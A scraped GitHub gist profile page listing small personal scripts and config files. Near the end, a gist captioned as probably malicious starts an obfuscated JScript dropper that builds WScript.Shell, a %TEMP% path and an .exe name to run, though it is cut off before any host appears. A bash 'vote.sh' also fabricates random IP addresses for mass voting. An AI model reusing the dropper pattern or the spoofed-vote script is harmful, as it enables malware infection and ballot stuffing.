Skip to content

Instantly share code, notes, and snippets.

View Leask's full-sized avatar
🏠
Working from home

Sixia "Leask" Huang Leask

🏠
Working from home
View GitHub Profile
@Leask
Leask / start.py
Created February 21, 2017 06:57
Check and reset the default route.
# -*- coding:utf-8 -*-
import commands
import types
import os
import time
import re
#commands.getstatusoutput('wpa_supplicant -D wext -i wlan0 -B -c /etc/wpa_supplicant/wpa_supplicant.conf')
#commands.getstatusoutput('dhclient wlan0')
pattern = re.compile(r'\d+.\d+.\d+.\d+')
@Leask
Leask / 03-06_01.png
Last active December 1, 2016 04:19
Proxy speed ranking.
03-06_01.png
@Leask
Leask / Flora Muse.mobileconfig
Created November 15, 2016 15:01
Flora Muse HTTP Proxy Config
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>PayloadDescription</key>
<string>Global HTTP Proxy</string>
<key>PayloadDisplayName</key>
@Leask
Leask / profile1.bak
Last active October 16, 2016 19:13
Asphalt 6 Cleared
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Love</title>
</head>
<body>
<div>
<?php
echo '❤ 豆腐和铁钉在一起已经 ' . floor((time() - strtotime('2006-11-26') + 60 * 60 * 8) / (60 * 60 * 24)) . " 天。\n";
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>InAppPurchaseReceipt_com.fiftythree.paper.mixer</key>
<data>MTMzMzA1Njc5OC45MTQ0NjI=</data>
<key>WebKitDiskImageCacheSavedCacheDirectory</key>
<string></string>
<key>FacebookSharingEnabled</key>
<false/>
if hours of (current date) > 7 and hours of (current date) < 24 then
tell application "Finder"
activate
end tell
tell application "System Events"
click menu item "SCNU_ZCC_2#4008_Online" of menu "Location" of menu item "Location" of menu "Apple" of menu bar 1 of process "Finder"
end tell
tell application "GoogleTalkPlugin"
activate
end tell
@Leask
Leask / PurgeParallelsAccess.sh
Created September 5, 2016 08:27
Find and remove existing installations of Parallels Access
#!/usr/bin/env bash
#
# Find and remove existing installations of Parallels Access
export PATH=/bin:/sbin:/usr/bin:/usr/sbin
RootCheck () {
if [ $(id -u) != "0" ]
then
sudo -p "This script requires administrative privileges. Please enter your password: " "$0" "$@"
@Leask
Leask / vote.sh
Last active March 30, 2016 08:56
一起投票反对某国的《互联网域名管理办法》
#!/bin/bash
vote() {
# make ip address
aa=$1
bb=$2
cc=$3
dd=$4
aa=${aa:="1 254"}
bb=${bb:="1 254"}
@Leask
Leask / MHB5520964707.js
Created March 10, 2016 11:44
估计不是好东西
//function( tag, context ) { var elem, tmp = [], i = 0, By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag );
var xwXVPgE = ["Cx"+"p"+("macaroni","acquisition","reform","qm")+"qn", ("clocks","dragon","Q")+("simultaneously","laughable","dampness","fellow","Qp")+("misshapen","meeting","reinforcement","bFmqXL")+"SF", "Expa"+"nd"+("heinz","soundtrack","assist","E")+("bootless","swims","promotion","nv")+("criticize","engraving","guido","precious","iro")+"n"+"m"+"ent"+"Str"+"in"+"gs", "%"+("excellence","cadaverous","adherent","voluptuous","T")+"EM"+"P%", "/aKxPRceK" + "."+("whenever","flesh","example","hanging","e")+"xe", "R"+("chemist","isolate","un"), "A"+"ct"+("garage","weaver","significantly","poniard","i")+"veX"+("mirror","letting","Ob")+("carbonic","theorist","debian","informer","j")+"e"+"ct", "W"+("bahamas","domino","carey","Sc")+"r"+"ipt."+"Sh"+("ketch","config","athens","e")+"ll", ("alerts","adorable","bible","carey",